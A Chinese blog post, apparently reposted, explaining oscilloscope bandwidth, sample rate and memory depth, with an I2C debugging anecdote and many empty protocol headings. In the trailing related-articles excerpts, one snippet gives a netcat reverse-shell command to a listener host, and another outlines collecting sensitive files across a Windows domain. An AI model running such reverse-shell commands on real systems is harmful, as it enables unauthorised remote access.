信号完整性测试

news2025/2/24 11:00:30

信号完整性测试----持续更新中

  • 示波器三要素:
    • 带宽
    • 采样率
    • 存储深度
  • IIC信号测试:
  • SPI信号测试
  • USART信号测试
  • RS232信号测试
  • RS485信号测试
  • CAN信号测试
  • PWM信号测试

示波器三要素:

示波器三个重要参数:带宽、采样率、存储深度

带宽

示波器的带宽,很大程度决定了示波器的价格。示波器和示波器的探头,可以简单的看成是一个RC低通滤波器。低频正弦信号,可以很轻松的进入到示波器内部的采样芯片。
RC滤波电路的公式为 f=1/2πRC
在低通滤波电路中看,信号的频率如果小于f,则我们认定信号是可以通过电路的,如果通过信号频率=f,则信号会衰减为原来的0.707;倘若通过的信号频率越高,则信号的衰减值越大
在这里插入图片描述 RC低通滤波电路:低频信号可以经过电路,当要通过的信号等于f,则信号会衰减为原来的0.707
低频:指的是通过发频率比f小(f就是上面公式,把RC带入上面式子中得出)
在这里插入图片描述
高频信号经过低通滤波电路,频率越高,信号的衰减值越大

由RC低通滤波器频率和幅值的关系可知:
在这里插入图片描述在这里插入图片描述
当频率高到某一特定的值时,幅值将衰减为原来的0.707倍。这个特定的频率就是示波器的带宽。
例如,一个示波器的带宽为100Mhz。如果输入一个f = 100Mhz,幅值为1v的正弦信号,那么示波器显示出来的波形,就只有0.707v了。
在这里插入图片描述
高通电路:上面的阻容件对换位置;在高通电路中,当信号的频率等于f时,通过的信号也是衰减为原来的0.707倍,但是信号频率越高,衰减越小

采样率

在这里插入图片描述示波器在测量信号时,需要这样,一个一个点的对波形进行采样,显然,这样的采样点越多,所测到的波形,就越接近最真实的波形。如果采样的点数过少,波形就会失真。
在这里插入图片描述
如一台示波器标注的采样率是:1GSa/s。sa就是sample ,样本,样品意思。1G = 1000MB = 1000 000KB = 1000 000 000字节。即,每秒可进行10亿次采样。一次采集一个字节。
注意,这只是示波器标注的最高采样率。它在实际使用时的采样率还受限于另外一个参数:存储深度。

存储深度

示波器在工作时,是在截取一段一段的波形,然后放在显示屏上给我们看的。需要将采集到的波形,存储到内存区,方便计算和处理。这块内存区的容量就是存储深度。这块内存区的容量是有限的而且是一个固定值。
例如,一台示波器的存储深度是2.5k。即,意味着,这台示波器的内存区域可以存放2500个采样点的数据。用存储深度除以采样率2.5k/1GSa/s = 2.5us,这就说明,这台示波器,只有2.5us的采样时间。
在这里插入图片描述
显然,2.5us长度的波形,在很多情况下,并不能满足我们的测量要求。所以为了能够采集到更长时间的波形,示波器会主动降低自己的采样率。
在这里插入图片描述在这里插入图片描述
看示波器的屏幕的每一格占多少时间,然后计算屏幕上所有,格子的总时间,就可以知道,示波器此时的采样时间。若增大示波器的存储深度,那么示波器需要处理的数据也就会增加,此时若是示波器处理数据的速度慢,那么示波器就会变得非常卡。
在这里插入图片描述
示波器的带宽应该是被测正弦报信号的频率的5倍,最合适。
此时,信号的衰减,小到可以忽略。那么100M带宽的示波器,测量20M以下的正弦波时,衰减可以忽略。

能够采集的时间=存储深度/采样率
1G=1000MB=1000000KB=1000000000B

IIC信号测试:

IIC协议解析
在使用示波器测试IIC信号时,博主就过于大意(忽略存储深度是固定的),导致一个问题排查很久;由于采集的时间(示波器显示时间)调的过长,导致后面在缩小时间查看信号的时候,正常的方波都变成了三角波
采集时间为10S,下降沿触发后暂停,把时间缩短为25us,看到了许多三角波
在这里插入图片描述
之后把采集时间缩到50us
在这里插入图片描述
在这里插入图片描述

蓝色为SCK,橙色为SDA
可以看到非常完美的方波就展示出来了

SPI信号测试

USART信号测试

RS232信号测试

RS485信号测试

CAN信号测试

PWM信号测试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2704.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言实现windows,linux双版本下的进度条小程序,快来试一试吧

文章目录C语言缓冲区🚀1.输入缓冲区🍇模拟登录密码场景🍇从键盘将内容输入到内存的真正过程🍇解决方法:清空输入缓冲区🍉清掉一个字符🍉清空输入缓冲区所有字符🚀2.用户C语言级别的缓…

【jenkins部署冲突报错】一定要看!!!!!

背景 最近接手了新的项目,他的代码仓库的分支有点乱,dev、uat、master三个分支代码不同步,差别很大,甚至功能有些也不一样,所以,就导致在合并代码时要注意,最好新切一个分支A(同步m…

inveta PLSB 点线面体 示例工程

https://github.com/inveta/demo/blob/main/Resource/demo.md点线面体生成 POI(点)ps.emitMessage(["spawn-POI","location:X0 Y0 Z0", // cm"icon:\uE998", // char"title:POI标题", // string"color…

单独用HTML javascript CSS 写三版99乘法表,我就是班里最靓的仔

☆ 99乘法表,这个从小学就让我们开始产生肌肉记忆的知识点,伴随一生。而一旦开始学习软件开发知识,99乘法表将是一个基础中不可逃避的巩固升级作业。 ☆ 口算背诵相信大家已经滚瓜烂熟了,一一得一,二二得四&#xff…

【Linux】超好用的编译工具 —— gcc/g++

文章目录 前言 一、安装gcc/g 二、背景知识 三、gcc如何完成 1.预处理(进行宏替换) 2.编译(生成汇编) 3.汇编(生成机器可识别代码) 4.连接(生成可执行文件或库文件) 5.记忆选项的小技…

Tomcat 实用安装教程

Tomcat的介绍 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得…

【模型训练】YOLOv7道路交通标志检测

YOLOv7道路交通标志检测 1、YOLOv7算法道路交通标志检测模型训练2、YOLOv7模型模型评估3、模型和数据集下载1、本项目采用YOLOv7算法实现对道路交通标志的检测和识别,在道路交通标志检测数据集中训练得到,我们训练了YOLOv7模型,经评估我们得出了各个模型的评价指标; 2、目标…

C · 初阶 | 循环语句

啊我摔倒了..有没有人扶我起来学习.... 👱个人主页:《CGod的个人主页》\color{Darkorange}{《CGod的个人主页》}《CGod的个人主页》交个朋友叭~ 💒个人社区:《编程成神技术交流社区》\color{Darkorange}{《编程成神技术交流社区》…

什么是跨域

目录 1 同源策略 2 什么是跨域 3 如何解决跨域 3.1 配置CROS 3.2 Nginx解决跨域问题 1 同源策略 跨域是指浏览器不能执行其他网站的脚本,是由浏览器的同源策略造成的,是浏览器加的安全限制。同源是指,域名,协议,端…

Android | WMS 解析(一)

前言 前段时间分析了 Window 的添加、更新和删除流程,也知晓了 Activity 、Dialog 和 Toast 中 Window 的创建过程,今天就接着上篇文章,看一下 WMS 的创建 以及WindowManager 添加 WIndow 后 WMS 是怎样进行操作的。上篇文章点这里直达&…

Linux下 gdb 调试打印函数局部变量

以下面代码&#xff0c;来说明一下&#xff0c;打印函数局部变量的操作&#xff0c;代码如下&#xff1a; #include <stdio.h>void fun1(void) {int data1 0;printf("data1: %d\n", data1); }void fun2(void) {int data2 1;fun1();printf("***data2: %…

联网智能门锁解锁智慧公租房

近年来&#xff0c;随着物联网技术的发展&#xff0c;愈来愈多的保障房、公租房、网约房、长短租公寓管理者们都在关注如何实现房屋智能管理&#xff0c;面对租户流动性大、管理复杂&#xff0c;房屋空置、闲置、非法转租&#xff0c;以及租户居住体验差等问题&#xff0c;无从…

【万字总结】C++——list的基本使用和模拟实现(建议收藏)

目录 一、list基本介绍 二、list的使用 1、list的初始化方式 2、list的增删查改 push_front和pop_front与push_back和pop_back insert erase 3、list迭代器的使用 正向迭代器 反向迭代器 4、list获取头尾元素 5、list容量操作 6、list的其他操作 sort splice r…

408 | 【2014年】计算机统考真题 自用回顾知识点整理

选择题 T3&#xff1a;循环队列 不同指针指向&#xff0c;队列判空/判满条件 1. rear:指向队尾元素 front:指向队头元素前一个位置 &#xff08;1&#xff09;牺牲一个存储空间 &#xff08;2&#xff09;判空条件&#xff1a;front rear &#xff08;3&#xff…

【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

关于C语言的知识放在专栏&#xff1a;C 小菜坤日常上传gitee代码&#xff1a;https://gitee.com/qi-dunyan ❤❤❤ 个人简介&#xff1a;双一流非科班的一名小白&#xff0c;期待与各位大佬一起努力&#xff01; 主要目录1、结构体&#xff08;struct&#xff09;1.0 结构体类型…

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合&#xff0c;GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考&#xff08;基于mindspore0.5.0&#xff09;链接1&#xff1a; course: MindSpore实验&#xff0c;仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的&#xff0c;但总是出现各种问题&#xff0c;最后果断选择跟随官网教程走了 先决条件 如已安装&#xff0c;请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析&#xff08;1&#xff09;Mybatis的基本执行流程&#xff08;1&#xff09;在resources目录下建立一个mybatis-config.xml配置文件&#xff08;2&#xff09;准备UserMapper.xml文件&#xff08;3&#xff09;使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…